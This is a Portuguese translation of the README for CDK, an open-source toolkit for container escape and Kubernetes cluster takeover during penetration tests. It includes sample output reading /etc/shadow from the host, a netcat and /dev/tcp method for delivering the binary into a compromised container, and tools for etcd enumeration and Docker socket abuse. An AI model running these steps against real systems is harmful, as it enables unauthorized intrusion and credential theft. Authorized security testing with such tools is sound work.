
📦 Torne mais fácil os testes de segurança de K8s, Docker e Containerd.
Inglês | 简体中文

O uso do CDK para atacar alvos sem consentimento mútuo prévio é ilegal. O CDK é apenas para fins de teste de segurança.
O CDK é um kit de ferramentas de penetração em contêineres de código aberto, projetado para oferecer exploração estável em diferentes contêineres reduzidos sem qualquer dependência de SO. Ele vem com ferramentas de rede úteis e muitos PoCs/EXPs poderosos e ajuda a escapar do contêiner e assumir o controle do cluster K8s facilmente.
Execute cdk eva para obter informações de avaliação e um exploit recomendado, depois execute cdk run para iniciar o ataque.
> ./cdk eva --full
[*] Talvez você possa explorar as *Capabilities* abaixo:
[!] CAP_DAC_READ_SEARCH ativada. Você pode ler arquivos do host. Use 'cdk run cap-dac-read-search' ... para exploração.
[!] CAP_SYS_MODULE ativada. Você pode escapar do contêiner carregando módulo do kernel. Mais informações em https://xcellerator.github.io/posts/docker_escape/.
Crítico - CAP_SYS_ADMIN encontrada. Tente 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Crítico - Possível Contêiner Privilegiado Encontrado.
> ./cdk run cap-dac-read-search
Executando com alvo: /etc/shadow, referência: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
Baixe o último lançamento em https://github.com/cdk-team/CDK/releases/
Coloque os arquivos executáveis no contêiner alvo e comece os testes.
Se você tem um exploit que pode enviar um arquivo, então você pode enviar o binário CDK diretamente.
Se você tem um exploit RCE, mas o contêiner alvo não possui curl ou wget, você pode usar o seguinte método para entregar o CDK:
(no seu host)
nc -lvp 999 < cdk
cat < /dev/tcp/(seu_ip_host_público)/(porta) > cdk
chmod a+x cdk
Uso:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Avaliar:
cdk evaluate Coletar informações para encontrar fraquezas dentro do contêiner.
cdk evaluate --full Ativar varredura de arquivos durante a coleta de informações.
Exploit:
cdk run --list Listar todos os exploits disponíveis.
cdk run <exploit> [<args>...] Executar um único exploit, docs em https://github.com/cdk-team/CDK/wiki
Ferramenta:
vi <file> Editar arquivos no contêiner como o comando "vi".
ps Mostrar informações de processos como o comando "ps -ef".
nc [options] Criar túnel TCP.
ifconfig Mostrar informações de rede.
kcurl <path> (get|post) <uri> <data> Fazer requisição ao api-server K8s.
ectl <endpoint> get <key> Enumeração não autorizada de chaves ectd.
ucurl (get|post) <socket> <uri> <data> Fazer requisição ao socket unix do Docker.
probe <ip> <port> <parallel> <timeout-ms> Varredura de porta TCP, exemplo: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Opções:
-h --help Mostrar esta mensagem de ajuda.
-v --version Mostrar versão.
--profile=<nome> Selecionar perfil de avaliação.
O CDK tem três módulos:
Uso
cdk evaluate [--full]
| Tática | Script | Suportado | Uso/Exemplo |
|---|---|---|---|
| Coleta de Informações | Informações Básicas do SO | ✔ | link |
| Coleta de Informações | Capabilities Disponíveis | ✔ | link |
| Coleta de Informações | Comandos Linux Disponíveis | ✔ | link |
| Coleta de Informações | Montagens | ✔ | link |
| Coleta de Informações | Namespace de Rede | ✔ | link |
| Coleta de Informações | ENV Sensíveis | ✔ | link |
| Coleta de Informações | Processos Sensíveis | ✔ | link |
| Coleta de Informações | Arquivos Locais Sensíveis | ✔ | link |
| Coleta de Informações | Kube-proxy Route Localnet(CVE-2020-8558) | ✔ | link |
| Coleta de Informações | Descoberta de Serviços Baseada em DNS | ✔ | link |
| Descoberta | Informações do Api-server K8s | ✔ | link |
| Descoberta | Informações da Service-account K8s | ✔ | link |
| Descoberta | API de Metadados do Provedor de Nuvem | ✔ | link |
Listar todos os exploits disponíveis:
cdk run --list
Executar exploit específico:
cdk run <nome-do-script> [opções]